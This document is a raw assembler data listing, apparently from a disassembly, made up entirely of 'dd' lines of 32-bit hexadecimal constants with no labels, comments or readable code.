		dd 3185748Ch, 735C8670h, 25B7906Ch, 72C561C7h, 9FA0F027h
		dd 2DE03AEDh, 342C2h, 5013B396h, 0D667E1BFh, 0F1953D79h
		dd 99770139h, 60DF31FAh, 390069ADh, 2F0BCF0Fh, 27834F15h
		dd 627F9D03h, 5F31DDDEh, 0DBDFF731h, 5C5ADC5Ch,	5801D439h
		dd 8410BC4Eh, 612F3407h, 2F208727h, 0B80F35A7h,	0DFC0C9F0h
		dd 8017BF15h, 0AD00C273h, 2272F442h, 4A78A99Fh,	3449C293h
		dd 75AE5F05h, 0FB9AAAD0h, 42605EC9h, 0F94B4D83h, 4C22488Ah
		dd 26342EFDh, 13F46EBBh, 4EECFB3h, 0B2B8161h, 0F4A4F4C6h
		dd 734BFDFEh, 626B3D8Bh, 0CDE2306Bh, 7BE36255h,	27087060h
		dd 0CF058D00h, 4CDCADA1h, 999D2633h, 96019FB3h,	0C198D20Dh
		dd 0AF63A4E0h, 60231897h, 7ACF0580h, 0BBC99D29h, 99904749h
		dd 6AECEC4Dh, 4D9D0BA9h, 0C42005DBh, 0A3BB505Fh, 25DFD13Dh
		dd 0C03DCD90h, 0C38DDB3h, 4D325E07h, 89B27FCAh,	9240DCB5h
		dd 0C0DBAF5Bh, 4AAE85C3h, 0EA3A5EE8h, 7DE22A4Eh, 0FFAA1E00h
		dd 0EC7C928Ah, 3BEF6B01h, 0B59AFEF2h, 2FFCD0ECh, 56B76A95h
		dd 9D3A4381h, 0B632140h, 6AB5FA00h, 0C4898F6Ch,	0C7960103h
		dd 0A0BB665Bh, 80CEB3A1h, 0F39FBDF9h, 3FBAD0F8h, 0D15B5425h
		dd 0F3A2C2Bh, 0BB21DE64h, 0FF42D780h, 3ACECBA1h, 0DA042FB2h
		dd 400DE990h, 0C61873E2h, 0F79388Eh, 36D14581h,	2B50C93Ch
		dd 8ABF05D0h, 1FF02D5Ch, 0C6D5E79h, 845AAA36h, 99DBEB13h
		dd 5C29028Eh, 9DF48E7Ch, 573F9AF5h, 637FD764h, 0E62BCC00h
		dd 302468FAh, 36DE488Bh, 0C6B34Fh, 0DF98E090h, 0F0BC924h
		dd 35E21251h, 59195660h, 0ED12DE23h, 16E32F1Bh,	0E037A64Fh
		dd 0B0C9D288h, 99C3A189h, 25BA57CEh, 1FA1AD40h,	5F407582h
		dd 0EB25EF31h, 38F8653Ch, 0E63AE1F0h, 6C87F007h, 0EA9604FAh
		dd 0C090691Eh, 137DB50Dh, 7C1C1A97h, 4905D42Dh,	56BE2F6Eh
		dd 29E0D5D5h, 0ACD64E2Eh, 8A608386h, 3D8C9DDDh,	2721Dh
		dd 835DB707h, 2AB22767h, 81E72C3Ch, 0E3B8A8BDh,	146043FAh
		dd 0B54677BEh, 49B3C6F0h, 0E5D2F91Ch, 3870CE3h,	9F4D3BBEh
		dd 3CA15CE0h, 0EB790622h, 0D66E9B88h, 0A34AEF7Bh, 3A7F976Eh
		dd 712FC0CDh, 74AD25D1h, 61221025h, 539DB62h, 0B90E742Eh
		dd 0C0A8FBh, 8C06DCDFh,	0E909A99Eh, 361244h, 13564A30h
		dd 39DACDABh, 0F05E5A00h, 22CFB0FFh, 8B922F1Ah,	5041845Eh
		dd 0DB7E880Fh, 0CB1788B4h, 0BB93A0DFh, 4ED4A498h, 0B8A3AD14h
		dd 0A9018C1Ah, 2A2BE079h, 652EFAABh, 0CA34BF49h, 3E859DEAh
		dd 348027DAh, 8D638F66h, 8937E902h, 731F5BDh, 1B21628Bh
		dd 9F2FE655h, 17173FB5h, 4EFAD813h, 0ADC40129h,	0E029AE0Bh
		dd 40FC13FAh, 0DB640941h, 0F04A01D2h, 0DE3FE4CBh, 0D380C0B0h
		dd 70E66901h, 0CB19531h, 0BDDC882Bh, 33BEE54Ah,	5148DA04h
		dd 0E919270Ch, 122ED917h, 0F4238945h, 0FB00761Eh, 1F2A5721h
		dd 1DC57BD0h, 0C9C9E027h, 5871E6B9h, 526BB0Fh, 54C85FB5h
		dd 0E2DE4A0Ah, 21FD10C7h, 0CD1108D6h, 18C82B8Bh, 44C060h
		dd 0A2BEE31Ch, 2CA78A82h, 0EBC33205h, 0B887D18Bh, 25AE9F64h
		dd 7ED4B8D2h, 64A9854Fh, 47C25125h, 0C41D2375h,	951070FAh
		dd 94C500E6h, 32AF2A4Dh, 76292674h, 1CED0936h, 5B250C53h
		dd 0B71600E7h, 2FFF222h, 0FB213700h, 61AE268Ah,	332965E9h
		dd 0E28DEFF5h, 2BBDCD3Bh, 2F1E7724h, 4E15A554h,	690296B1h
		dd 0C2695CF5h, 111F28B7h, 5D85801Ah, 17E0AF59h,	0A66A4CC1h
		dd 9F4AF097h, 17DF1201h, 0B25EE6A0h, 55763018h,	7E233902h
		dd 0F207DEB9h, 1DED2030h
		dd 295B8195h, 59357D85h, 23757DEh, 0C9DE2700h, 27A433FDh
		dd 1658EA0Ch, 0B8640497h, 1E7EBBh, 759392ABh, 64C1AFA0h
		dd 0E1A5DFCh, 40BD13BAh, 0E2B53BECh, 7AA0565Dh,	4CD8BA82h
		dd 124C5A5Ch, 34244F2Eh, 0F8FA07Eh, 204E7582h, 0F21D9121h
		dd 0C14108EDh, 0CC7E34B2h, 6A00B667h, 804340EFh, 200EA1BEh
		dd 1902CB2Ch, 0B505F77h, 0C6AFDFBDh, 0BD66109h,	598D2960h
		dd 0FDC7B52Eh, 0C3404C11h, 0F11F5799h, 4B298F40h, 0BB088CF7h
		dd 3A2F4B02h, 0FFE1FF1Eh, 4BC0C4CDh, 1C454E13h,	0D3742BEAh
		dd 61B404C4h, 0BD33010Bh, 8E6B1D75h, 35F12E6h, 86802DF9h
		dd 0D089E31Dh, 28AA54Bh, 0A8316234h, 0EC1FA3D5h, 5BA022A7h
		dd 8203379Dh, 0F03D010Dh, 8DB81004h, 2BF0115h, 60426E18h
		dd 0A6B8B12Dh, 0E64DD82Eh, 54DB4225h, 0DEA826D6h, 9ABB7600h
		dd 0BF29B488h, 801A16CEh, 0D3C9B964h, 6282609Bh, 4E788A61h
		dd 40AD555Fh, 6E009AECh, 4A6820FAh, 4B0DEC7Eh, 1B53E03Bh
		dd 69055682h, 1A0DFE02h, 507A91DFh, 7BEEC92Bh, 0E2E70B70h
		dd 0ECFD16B8h, 0B022E79Ah, 29E551Dh, 189BE230h,	215FA65Eh
		dd 0EE536801h, 256A0F8h, 0B422F0BFh, 41545B64h,	8015AC02h
		dd 1C54E65Fh, 41533774h, 0A5B87AAFh, 7C3B218Ah,	59A74F08h
		dd 0A55622B2h, 0DE1F7649h, 0E01A7C62h, 97D051E3h, 5527FB01h
		dd 0CCAC2224h, 38AA6FA4h, 31828033h, 0C197EF77h, 0B7BDECD9h
		dd 9951B52h, 0F60CDEE1h, 4C9789Fh, 0FCB888BFh, 5FE4AD4Bh
		dd 0D3A2ECB7h, 41B09BE8h, 40FC9A95h, 0A0753197h, 9529B1C1h
		dd 4E50FAA9h, 0DAB925D2h, 0DFD60D96h, 0E2F42F70h, 0CD214539h
		dd 0E843100Dh, 25695A6h, 9BE45D52h, 542A5D27h, 68FCE0CDh
		dd 0A8FA82ACh, 0EB11BB04h, 49936BC4h, 57F4A153h, 3FC2AA5Bh
		dd 7860FFA6h, 0BA950269h, 0A441F7A8h, 0BEF76E12h, 313B6F56h
		dd 0E2056525h, 0CBA84461h, 0EC75ADE5h, 63E28C18h, 2879A114h
		dd 11FF71ACh, 282A5FF5h, 6E1195Ch, 4ACB068Ah, 142AE988h
		dd 26AD3B5h, 3219BD23h,	5536290Bh, 0D6D2689Dh, 0CE4BD40Ah
		dd 11AE0835h, 0BB02CEA2h, 8F9BFE5h, 8A503156h, 0D3EF9704h
		dd 9A217440h, 0D397520Eh, 765B5DCDh, 0C2A0E7EBh, 2D1D8333h
		dd 0FFE467DEh, 922FB200h, 7240B8EFh, 75320196h,	1B3DDAC9h
		dd 0B6EB205Fh, 0E79AFA4Ah, 5FC016C8h, 2E09C470h, 81B57DBDh
		dd 43EFEBBBh, 86342B35h, 4A6BB0E0h, 6B85C984h, 6624EB6Fh
		dd 842D17C7h, 0B8DAAAF6h, 66C01DC8h, 19BFCEEh, 7DA5BDA2h
		dd 6C500B25h, 739D8728h, 6F7F8CD0h, 0FAD4001Eh,	0A4D0022Eh
		dd 0C90E58CBh, 531FA5A7h, 0E3095D53h, 41137139h, 0C59701BFh
		dd 88DD2A3Ch, 0B76A6Eh,	69CD28FAh, 2DC261A5h, 0FD71F26Eh
		dd 43410154h, 0ADAAB493h, 98083AD7h, 30C22D1Ch,	0ED933A55h
		dd 0F0914091h, 9A06FA68h, 0B9807469h, 23812566h, 46DEA45Ch
		dd 0BB40414h, 6DF07D9Dh, 2747BE31h, 46DE0254h, 37D00115h
		dd 0C599529h, 5ACAE62Ah, 0FBA042A6h, 2204A387h,	52F103E6h
		dd 4F49E2AFh, 122B22F1h, 0E399E64Eh, 0BA980ADh,	50E61671h
		dd 49DD0469h, 0F375AB02h, 2F3F0BEAh, 0D35B935Ch, 0DC0F0009h
		dd 0BE208045h, 272482C1h, 48608C67h, 407AA7h, 0C16A8824h
		dd 0C9AC73B6h, 47676300h, 0B808BB86h, 215995C3h, 7EE7854h
		dd 263751D6h, 35FD9931h, 38169C8Ch, 0FE2C7E42h,	1508F7F4h
		dd 94042F20h, 4599AE53h, 0DB9136Fh, 2E545AF8h, 37E317C1h
		dd 807B2A2Eh, 31A6A9A5h, 7BBA00D3h, 9FDB7A7h, 0B417D85h
		dd 24F1D101h, 2E4BB73Ah, 18124C29h, 51E3FAACh, 38ED625Fh
		dd 0B100E7BCh, 65D24C13h, 0B87D62B3h, 0F6EE00E8h, 0D470BF96h
		dd 50766A7Ch, 2AAEC80Fh, 0E36F936Eh, 4A12A2Bh, 0B8C4EF80h
		dd 0F9F2D691h, 0D81B6803h, 5DE80DA8h, 0CB04883Bh, 5FF8B2DCh
		dd 1D882E9Bh, 90FBBDC4h, 0F698D183h, 2949E0F4h,	64B75A0Ch
		dd 2D7CEC5Eh, 0C4647111h, 0C3305342h, 74AC177Bh, 0A60010Dh
		dd 37651E4Eh, 0FB46E85Ah, 897D1897h, 5B93ED8Dh,	0A186E7C6h
		dd 0D7316DA0h, 4B9D8F2Ah, 0FB4A616Ah, 52586570h, 3EFE38BFh
		dd 0E95F1D04h, 1686B871h, 0ACE4BD23h, 0B0C15A8Bh, 1A40D9B3h
		dd 98B72561h, 9862C6h, 972B7120h, 0BF3C5DF0h, 7E5B3B93h
		dd 0B795FB7Ah, 86E30220h, 8C416A4Fh, 891A7BA2h,	76CE624Ah
		dd 0BD53A74Bh, 387AA0D0h, 750389B3h, 0F87DB51Fh, 0CD20D609h
		dd 0DE52F4EDh, 0AC56BD0Eh, 0E0858242h, 2FF55647h, 2070937Bh
		dd 8CB809ABh, 80F6C9E8h, 8BB0FB40h, 243E23Fh, 6309A631h
		dd 0C155BE27h, 0BA14085Bh, 0F90B7BA3h, 58C69050h, 1B40499Ch
		dd 95788Bh, 0A6685C33h,	66D2FF42h, 9B64D02h, 5D3555BDh
		dd 0DBF208F9h, 0DF061F0Fh, 0E0CB574Dh, 5034C6AAh, 6B1DA56Ah
		dd 0EF8C8D97h, 0B9014AB9h, 6204D218h, 0CDACA76Dh, 3AEC785Dh
		dd 0FF2DFCE0h, 0C0C0EDD1h, 0A188E149h, 0E6B1B002h, 42238E10h
		dd 549289FEh, 10A17103h, 5A25B589h, 0F4D7B32Bh,	2B1EA970h
		dd 12402798h, 9EB5DC90h, 24599000h, 4C4B8793h, 5C1798Ah
		dd 86BE6EBBh, 98E8457h,	31DB1ABAh, 8056F6A7h, 0BB4E91D4h
		dd 1000A070h, 5A4312F8h, 1CB68820h, 555B3624h, 818BD690h
		dd 0ACF53601h, 92E86277h, 0FB157C6Bh, 2A07697Ah, 0A50E58h
		dd 0E7074D71h, 0E95AE809h, 6C1C5774h, 0DACD2A39h, 0E300F26Fh
		dd 70A39D2Fh, 0D902B458h, 8D315B62h, 4AE4C4F1h,	0C8FADAF9h
		dd 8412C019h, 4125A6F9h, 4E4409h, 2B6D59FBh, 19BBFD81h
		dd 0AC4D5400h, 27BE0EE3h, 0BA6A1313h, 0A4AE1C8Ch, 2AFD0921h
		dd 0A05D1457h, 95F08890h, 0B75FB09Ah, 9B8C805Fh, 0B8F37412h
		dd 0B6F8402h, 5523159Dh, 0F99851CEh, 486AD33Dh,	93685880h
		dd 0F355E809h, 1C15D892h, 3D660204h, 1BC0030Fh,	4A1AE8F3h
		dd 0EBB4D962h, 30EE374Ah, 0C99F82C1h, 120C2C00h, 0BB8E38EFh
		dd 24CB13B0h, 5A00EF75h, 5F61A1AFh, 627048E6h, 1449913h
		dd 8B71E481h, 2A5C61FEh, 82B6B948h, 1341B501h, 0BFFC1855h
		dd 0BAA3247Dh, 31EAC188h, 10EF3CF3h, 0A44C0FADh, 0A961F525h
		dd 0F2902AFCh, 0B06EB81h, 89C82B9Fh, 7242137Fh,	85D14C7Eh
		dd 0BD227A71h, 2D7F2E1Ah, 0B4F4407Dh, 27789FB2h, 3F17C935h
		dd 7F6A1DAAh, 549105A2h, 9C0C1AB7h, 8D0B9759h, 58B0F9FBh
		dd 957106D3h, 0F84AFE44h, 983426BBh, 2AC21D55h,	2C228622h
		dd 266581CAh, 1B00A51Fh, 8BFC8AFEh, 80E1B0DAh, 278D2957h
		dd 5C560AADh, 90388450h, 256CB7E8h, 3299BD7Ah, 0D69E8AB7h
		dd 0A6B44FACh, 0B66A0EAh, 0A92C0114h, 19B95BBFh, 7B7A2F08h
		dd 6BD6A501h, 0FE3BE939h, 89891A5Fh, 0BC8A5031h, 0E65B3A11h
		dd 0FBDAE0FBh, 150105B5h, 6DB3C1h, 55D5D7DCh, 0C0122B7Ah
		dd 4A825060h, 590529h, 7BB1C6EEh, 0D24D2B61h, 93BC96h
		dd 0E033791Ah, 0FAB89965h, 0DB74A4Ah, 793016F2h, 503E3023h
		dd 268DDFB0h, 0EAA65B4Ah, 4E5FAC4Ah, 31ED0A75h,	5B9D01A8h
		dd 181A592Fh, 879A01E0h, 0D60C3028h, 92032C31h,	9562ECA0h
		dd 0B5A7CB97h, 25330023h, 299B5921h, 69DFF309h,	44A759F8h
		dd 8134FEBBh, 20FECEA5h, 67C5BB79h, 0B4485EB0h,	2C7510AAh
		dd 0A7B85B13h, 0E3ECE0FEh, 4CC40BCEh, 56A72Dh, 409F6DEBh
		dd 3A8465ADh, 80BFA802h, 0FE48A4BAh, 242D0BF0h,	1B8F307Fh
		dd 6D5F0235h, 4F19C4E1h, 30408F74h, 1A6810h, 65C956C0h
		dd 0DD44DF78h, 8131533Ch
		dd 615B37C8h, 6369E1FFh, 329D5BB8h, 0E5165618h,	7D18E1BBh
		dd 96AB8A6h, 0C6D9D89h,	25769CD5h, 45CC04A7h, 0C463702h
		dd 5C7F3C8Ch, 92595138h, 61EA6031h, 0C6098D5Eh,	35BA6601h
		dd 936061D4h, 52C57892h, 0B96B5604h, 5BE769Ah, 0C1B27ACDh
		dd 2EDD215Bh, 0DAF22613h, 0D19DE500h, 26BEFFFEh, 53CD9A16h
		dd 20811C04h, 69625B0Bh, 4A233F56h, 0E25958h, 0CF36A2EAh
		dd 0DA82BFC8h, 25976CF8h, 9EEF5440h, 21F4C03Bh,	17095F1Ah
		dd 0F22B25BDh, 0B9E6D78Bh, 3BD2CCA1h, 874D35C9h, 71801238h
		dd 8CBFC48Fh, 5F40C112h, 0A65B4FE3h, 20B53EA3h,	28409524h
		dd 46BF3C4Eh, 42313C15h, 39863500h, 0D3A9B8BEh,	900B9217h
		dd 88074DBh, 6B1D7E5Dh,	0BBD1FE02h, 761E3816h, 0ACF91664h
		dd 0D7FFA55Eh, 6EF94772h, 0E42EA817h, 886A24E5h, 74003A98h
		dd 93DF5D5Bh, 9944FD0h,	38041542h, 58979776h, 0E474D60Eh
		dd 70B84136h, 0E38FF6D2h, 8017F09Dh, 477E4CD7h,	5054D12Dh
		dd 696D5552h, 0B38C31C0h, 45DAB87Bh, 6BEAC965h,	1D259CB2h
		dd 7D853322h, 5AF6215Ch, 587C22ABh, 0F20000F4h,	6BD1809Ch
		dd 0E34C0452h, 0B835616Eh, 11E69680h, 8A3CC9F0h, 0A035100h
		dd 9531B36Fh, 2C719D6Dh, 0E0A28049h, 7F99BB3Ch,	99624B8Dh
		dd 9A7606Eh, 1D4A957Fh,	0DA4B67B3h, 66D28519h, 80612AABh
		dd 26A47D4Ah, 82D2C990h, 0F593A270h, 2A89AA78h,	6BFB39BDh
		dd 2FF4EC50h, 98958AA8h, 918E0FABh, 600724DDh, 0CF78F528h
		dd 2F945A12h, 91D8B23Ch, 5212B1B4h, 82C02A60h, 1412B6BBh
		dd 0E85A28D4h, 7CF88BC7h, 415ABD3Ah, 1CBF1016h,	0B05B6707h
		dd 167698DBh, 0F65C6288h, 0BA77221Dh, 4056EDAFh, 0EF91D740h
		dd 0A309C171h, 841C8274h, 0D6F16D7Dh, 0C8169A2Bh, 10CEC019h
		dd 0C9279366h, 13AA9098h, 711C1E12h, 8D76C151h,	0E0BA815Eh
		dd 1102A2E7h, 0E0BC3EC2h, 9E795514h, 4EB7263Bh,	80B96117h
		dd 0BDC7BF82h, 0DB7A415Eh, 52765097h, 0EA95A900h, 6AA6809Bh
		dd 0F97CC93Fh, 4B446D71h, 10B024F7h, 9A0170F5h,	0D988E77h
		dd 84C33EE9h, 0E178F6BEh, 92BB027h, 0A4562B6Bh,	0A1604B77h
		dd 13BE2E91h, 4B2AA0B8h, 2A53CA61h, 0FBB78ACBh,	9E827AA8h
		dd 600421E5h, 492FECE8h, 4B610CE1h, 7C9327F1h, 3905F6C0h
		dd 9DB3CE98h, 8A16E3F3h, 0D2F6ADDAh, 7FA833A9h,	0D3CD1A00h
		dd 0A9F6FE36h, 375BB52Bh, 0D4A6DC49h, 0ED502A00h, 6BBB776Dh
		dd 0CC9E4B6Ch, 0D09D9643h, 5F58959Ch, 8820DB9Dh, 25242FE9h
		dd 7B2E4109h, 0DB808414h, 0D212BDEDh, 87A03AF6h, 0E409D674h
		dd 57FB8B98h, 16D53538h, 7D372785h, 0E24EC600h,	4A0A90D9h
		dd 4D01201Eh, 2300FE2Dh, 0D9259B15h, 1F2E2D1h, 53CB81BFh
		dd 2E406531h, 2C9CFA17h, 0F9E800DCh, 0B2416102h, 7B384BB4h
		dd 0AB3B9636h, 59126AB7h, 6C8E208h, 1F19B501h, 20501E1Fh
		dd 11694B31h, 7577256h,	505947D0h, 0BB665F30h, 0B249E526h
		dd 56E48802h, 440457F8h, 0ECB8A9B8h, 6748079Fh,	51D63052h
		dd 6FB1E864h, 8384CCh, 639F9C7Fh, 0F204D75Dh, 0A6AC415Bh
		dd 6AB34A5Fh, 8400DC3Eh, 0C6C249FCh, 7852F8D0h,	955BF82Bh
		dd 1A91B3B5h, 50BFE187h, 0F2A397B1h, 0D5206498h, 118AA025h
		dd 48CE951Bh, 0A9F790A2h, 770D503Dh, 43C895D9h,	310847B4h
		dd 580961BDh, 0ABBD8F0Fh, 601C7C89h, 3DF8319Dh,	0AFEA6113h
		dd 5AA6E807h, 0A7AF7179h, 794AC3E3h, 0DA9637B7h, 498D80E2h
		dd 298F06F1h, 0BCEA9603h, 6732E800h, 0B369137Ch, 0F46BA630h
		dd 26F016BBh, 26236096h, 6F6C6F6h, 6561CB27h, 0B44950E2h
		dd 8C82585Bh, 53355705h, 0BF801B91h, 0A6573C5h,	18CDD116h
		dd 0F32D610Eh, 0D13C7529h, 0E3ADDC12h, 0F8B57AB2h, 2EA62573h
		dd 4A17B2C5h, 0F7B092F7h, 2B02C48Bh, 0C1B091FEh, 9D79C13Ch
		dd 256BCA6Ah, 71C3C2FCh, 92DA00FCh, 8435BEACh, 16008A7Ch
		dd 6BDF25C9h, 4B801BB0h, 4BBA8B26h, 0C24D27AAh,	0FE12F385h
		dd 6F17D437h, 47E1979Bh, 918B7Eh, 1D9DF9EDh, 25CD04C8h
		dd 0B6C6A38Dh, 87E497h,	0B5485D5Ah, 80893330h, 8B5C4400h
		dd 0EB86F72Bh, 0C8D116DFh, 0C1BEBCA8h, 5250905Fh, 0C4140F2Ah
		dd 0E65731C9h, 0D98B1BB1h, 0B7D80A61h, 4D9590A6h, 2FE8C037h
		dd 0A2637C08h, 7BDBB740h, 0E79108h, 0B5CA63D6h,	0E0001F3Ah
		dd 29921951h, 0D90E84h,	5685C3F4h, 1BFD4DBBh, 0B5F1102h
		dd 0C40845BDh, 0DCFF1300h, 0F061E6EDh, 10FAF8Eh, 8B2BDFE5h
		dd 2109DEE8h, 1618797h,	7F9939BDh, 0B94BB46h, 807900D4h
		dd 0FDCD74D4h, 0BF04DE8Bh, 2319B325h, 0E430E3AAh, 48392BF6h
		dd 1682B913h, 9D09041Dh, 50C2D671h, 0DC24BCh, 0A62B0C13h
		dd 0F3810993h, 0A24C7C04h, 6FAF6A5Ch, 3F1F38C0h, 9AF7022Bh
		dd 5519F448h, 1564FA6Dh, 3012FB61h, 4C004536h, 0DEBB4097h
		dd 9549D82Ah, 9510D66Ch, 0FC9706FDh, 5A62C470h,	689100BAh
		dd 0C229F84Dh, 5C7D662Dh, 482C9069h, 0F7A44A21h, 8A5B4B61h
		dd 0CF992DE7h, 7BFC6300h, 3B2362A1h, 0E79E88h, 0FDCA9BE4h
		dd 6A731876h, 0E6B2025Fh, 0E1D7D000h, 657A3ACEh, 0A10FAB00h
		dd 731F436Dh, 0BDBF4AA7h, 0B153D4h, 0BAE18B82h,	0CD5DD1h
		dd 139AC44Ch, 0BD7A226Fh, 47620D09h, 0B0FC025Eh, 7CCDD5A2h
		dd 1270DB6Bh, 0D967B099h, 0FB8B5A13h, 0DF4B70AEh, 3D78B797h
		dd 0C20E4521h, 0E609DD09h, 1AC49573h, 25DA2100h, 0C943D7A2h
		dd 0B82D4B68h, 5F52C7ADh, 0A5CF7319h, 9540DFEDh, 0C864EE2h
		dd 941881CCh, 24409D8Ch, 20535B50h, 6B3BF6BCh, 6068EC0Bh
		dd 5F10D561h, 329713B3h, 0FD2D82CBh, 0BC65D52Eh, 72D88A09h
		dd 0C8BD9FA6h, 64FD200h, 175587CDh, 6194710h, 55297DBAh
		dd 0C5C6FF62h, 27DDC434h, 3B7C12D1h, 0A02800F4h, 705737D8h
		dd 5412394Ch, 0CBE6F9ADh, 24014510h, 5B0E0657h,	8D561EB0h
		dd 0E60427FDh, 0BB800F70h, 0DB019BB7h, 493A07DAh, 0DFEED8E0h
		dd 0CA2FBA00h, 80F4A8D9h, 80F84B39h, 0BE99DD2h,	6C8D6695h
		dd 0DDF0770Ah, 0D4891C4Bh, 0B9A2F047h, 0C661092Eh, 0B2EB040Ah
		dd 4B4D5814h, 2C7B73BAh, 9D98FE80h, 3CC66600h, 0A9E3FD79h
		dd 0F8E0584h, 831BB9CAh, 52BCE8E1h, 0E9A04CB8h,	603CD992h
		dd 6BB84B8h, 1A869CC6h,	89040436h, 0AB19E58Dh, 7195B130h
		dd 7FB68424h, 0DEFCD11Ch, 4839DF33h, 511059C7h,	0E603508h
		dd 0FC665788h, 0C4614BF1h, 0E59B0D08h, 0FAD53F35h, 91E7D581h
		dd 2503482Fh, 181596B1h, 4B7AF62Eh, 0D2B288h, 170FF170h
		dd 5B8723D0h, 0CEEAE605h, 0F604CBEDh, 251F2A29h, 0E8C313DDh
		dd 973509B5h, 102D1DB1h, 3F9F59BFh, 0A528752Eh,	0C6FE651Ah
		dd 738B10D8h, 9D5CA62h,	925C4CF5h, 0C12B040Dh, 0BD67E065h
		dd 42A78228h, 9B77DEDh,	0CA1C5D85h, 7B60A9C2h, 29850407h
		dd 0B1BD440Eh, 2F56614Bh, 8F5F00F4h, 79BD8E42h,	0B712061Ch
		dd 0D4ADF5F2h, 8C19ACh,	3DFF93BCh, 0D6B99B6Eh, 27F7075Bh
		dd 19C030A2h, 35B4F5B5h, 4D13D22Ch, 6EE12D52h, 54B8796Dh
		dd 9340009Dh, 2FF9FC36h, 0F0FEC02Bh, 0E109B268h, 0C4CB5622h
		dd 0F440BCF8h, 500049E2h, 5DB57F32h, 66019A89h,	0E4A52A05h
		dd 0BBDC6A21h, 6E754F0Dh, 99F39D3h, 79E62F86h, 5A5B2750h
		dd 52EABD13h, 4637E7C5h, 4D0CB1BDh, 0FD48AA60h,	0E8D2B33Ah
		dd 0FE699822h, 0F8B426EAh, 310D0907h, 0AB71D656h, 0C5A985C3h
		dd 18015FBCh, 0FC7FA312h
		dd 0CA702EBAh, 33172CBBh, 2863600Ch, 1C00D69Ch,	4BFCBE15h
		dd 30C5023h, 18A97FF6h,	0BA84B82Ch, 0CAC041DEh,	2EB20379h
		dd 6C600A27h, 1D85133Ah, 0C3B62Fh, 0C009C57Dh, 0F6A461AFh
		dd 978475FAh, 149170B5h, 1D7BA89h, 2C999D1Bh, 0EC4F220Fh
		dd 32969788h, 86570140h, 0BD4E294h, 0F022BD61h,	0DA1240D4h
		dd 0F18D1BF2h, 0BC3A2952h, 6DD1052Ah, 0BA480D73h, 4B60A91Dh
		dd 0CBA2EC60h, 0DB89D72Bh, 7329B2D5h, 23915067h, 0DFE01675h
		dd 0C3CC1C27h, 82594BADh, 0FB5CF921h, 5E01268Bh, 2701F41Bh
		dd 0FD0FB7F9h, 5730EEA9h, 9C1E4BD5h, 0F5F933FEh, 4B816D16h
		dd 0A84ACAE9h, 0FF00AA7Fh, 0D4DA76AFh, 0AC053406h, 0B2B70B98h
		dd 24A9B204h, 0C4B39002h, 0B4ECC8D0h, 0A13820F1h, 0C1A84B99h
		dd 8BF78F17h, 6880EAECh, 365C052Ah, 6E86D2A1h, 532628h
		dd 0FCA02CBDh, 0C007E045h, 8A3E8BF0h, 0B9668256h, 0D56152E9h
		dd 6D50C80h, 0F143643h,	22250A8Dh, 459E1A05h, 0B555823Ah
		dd 971D913Dh, 0D51F71D4h, 0B8DB5AC4h, 8C00EFF2h, 2CC835AAh
		dd 1897F8FDh, 0A8DE8BD7h, 152A96Eh, 0A05B7932h,	0DBDF8355h
		dd 0F31EF4F0h, 1AD9E924h, 22CF1CA4h, 5C353DBDh,	1D46DECDh
		dd 46D67600h, 62431AFDh, 23B7ED05h, 20AB60FCh, 0CC0C06FFh
		dd 49C12700h, 0FC33B55Dh, 5584026Eh, 48A6BE7Fh,	847B4Bh
		dd 0CAE68059h, 42F1BF61h, 58EB66A5h, 494E5660h,	897FF58Ch
		dd 97CB584Dh, 9178A55Bh, 35D700D4h, 0D0945573h,	0C6955206h
		dd 100941E6h, 10BB5FF7h, 4D4BE3E0h, 9897F98Dh, 0EE1303D6h
		dd 0C2281E45h, 64EDEB7h, 0DA02C96Eh, 132B47F2h,	915BB5D5h
		dd 3C1C801Bh, 12C702EFh, 0E10129E9h, 0B8AB2DFFh, 0B350175Ah
		dd 0FF98814Dh, 0EF7E2FB5h, 9E8EC08h, 3D24A80h, 132A1CBDh
		dd 573356h, 5B60BE07h, 5A16D568h, 52E2183Eh, 0FD6AAC00h
		dd 0D3A5B3D6h, 6BE8AE0Fh, 415D251Bh, 500A89ABh,	21592AEEh
		dd 0E6F51825h, 0A0564A0Ah, 0C4BD2CABh, 35BF199Ch, 3B6BE61Bh
		dd 18385CCh, 0F36EC510h, 0D498D91Ah, 97267508h,	0F6520847h
		dd 1C7CD45Ah, 873ECB76h, 9061A7EEh, 1A524B4h, 7F973D3Eh
		dd 0C8EFB340h, 0D69D266Ch, 70562D35h, 0D3144DF6h, 3582FE89h
		dd 47551979h, 2C431AAAh, 87863755h, 0C053BA7Bh,	9A1520FDh
		dd 0BB0589E2h, 46EB1FD5h, 340208EFh, 1677F925h,	5333EF50h
		dd 0F5B5E25Fh, 0B555902Bh, 0C539F28Dh, 81F63806h, 0CC57E55h
		dd 4CD7D0h, 28CEBFF6h, 0B94DBB41h, 9122A405h, 0ADEC870Fh
		dd 0E071D889h, 5048742h, 562CAE57h, 0FC1FD678h,	0A5315EECh
		dd 1960BF51h, 5F04257Ah, 15649FCDh, 92C7DE61h, 1CE3D866h
		dd 9E007753h, 3236C5Eh,	5A004ADCh, 0B5A67541h, 4AFFD74Eh
		dd 4ACAE751h, 4E80B59Ah, 0CB402765h, 2C2F1448h,	0D24E8785h
		dd 0AAC094AFh, 0B1961FE4h, 30D48067h, 13DFDD18h, 4B518200h
		dd 0FEF64D26h, 4BD6F0B6h, 430F20EAh, 6207B01Ch,	0BA5A5DCCh
		dd 5219970h, 0BD59092Bh, 81F773EAh, 96FE8BFFh, 8BB1DB6Fh
		dd 532FD5Bh, 2135A8C0h,	0EA5F68A2h, 15ED7FFCh, 0B6FB3969h
		dd 1612A66Ch, 7A21F370h, 3EB2DB04h, 5BD6BDCh, 179FB89h
		dd 0DBBF0F81h, 2FDD8D09h, 0F8CB9C2Bh, 57A50191h, 27435080h
		dd 601DBB5Eh, 0B3EE64Ah, 0D58D23F6h, 1C40BB15h,	10EB9273h
		dd 0D3AC3C6Bh, 0CA1CEB6h, 0F4046BF3h, 1D13306Dh, 0EF0BD2FCh
		dd 0FF7BE872h, 0A976964h, 2DE5F20h, 0E3853EBDh,	335737B1h
		dd 13CDE9BAh, 9509120Ah, 6A25C6B9h, 1378DE5Bh, 886C0FBDh
		dd 39E1CFC2h, 9ED98A3Ch, 31241174h, 41646F4h, 0FC70144Fh
		dd 0BD82D5B9h, 96001D81h, 247CC8BFh, 919C7998h,	109A4EFBh
		dd 0AF742E80h, 60136855h, 70E99D29h, 6162805Eh,	1D498D31h
		dd 6EFC299Eh, 0E4642Dh,	0F057B7B1h, 300A3A7Eh, 5BFD8A12h
		dd 21A171ABh, 9A2D0F1Fh, 2ED8B5F3h, 29EB01E8h, 199D0B63h
